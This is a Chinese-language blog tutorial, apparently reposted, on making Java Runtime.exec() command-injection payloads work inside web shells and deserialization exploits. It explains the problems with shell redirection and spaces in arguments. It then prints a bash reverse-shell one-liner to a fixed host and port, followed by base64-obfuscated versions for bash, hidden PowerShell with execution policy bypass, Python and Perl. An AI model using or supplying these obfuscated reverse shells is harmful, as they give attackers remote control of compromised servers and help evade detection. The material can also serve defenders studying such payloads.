java.lang.Runtime.exec() Payload知识点详解
有时,通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用Web Shell,反序列化利用或通过其他媒介时,可能会发生这种情况。
有时这是因为重定向和管道字符的使用在启动过程的上下文中没有意义。例如,在shell中执行ls> dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表。
有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。像ls“我的目录”之类的东西将被解释为ls“我的目录”。
借助Base64编码,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。
样例:
原文
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
#bash
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvADEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA==
#powershell
python -c exec('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='.decode('base64'))
#python
perl -MMIME::Base64 -e eval(decode_base64('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='))
#perl
中间的字符均为“base64”编码。
知识点扩展:
java.lang.Runtime.getRuntime().exec(cmd)命令中参数不能用空格怎么办?
项目中无法执行c程序,猜测是exec()函数的问题
String cmd= exe_path + " " +video + " " +host + ":" + port;
Process process = runtime.exec(cmd);
栏 目:JAVA代码
本文标题:java.lang.Runtime.exec() Payload知识点详解
本文地址:http://www.codeinn.net/misctech/174666.html


阅读排行
- 1Java Swing组件BoxLayout布局用法示例
- 2java中-jar 与nohup的对比
- 3Java邮件发送程序(可以同时发给多个地址、可以带附件)
- 4Caused by: java.lang.ClassNotFoundException: org.objectweb.asm.Type异常
- 5Java中自定义异常详解及实例代码
- 6深入理解Java中的克隆
- 7java读取excel文件的两种方法
- 8解析SpringSecurity+JWT认证流程实现
- 9spring boot里增加表单验证hibernate-validator并在freemarker模板里显示错误信息(推荐)
- 10深入解析java虚拟机




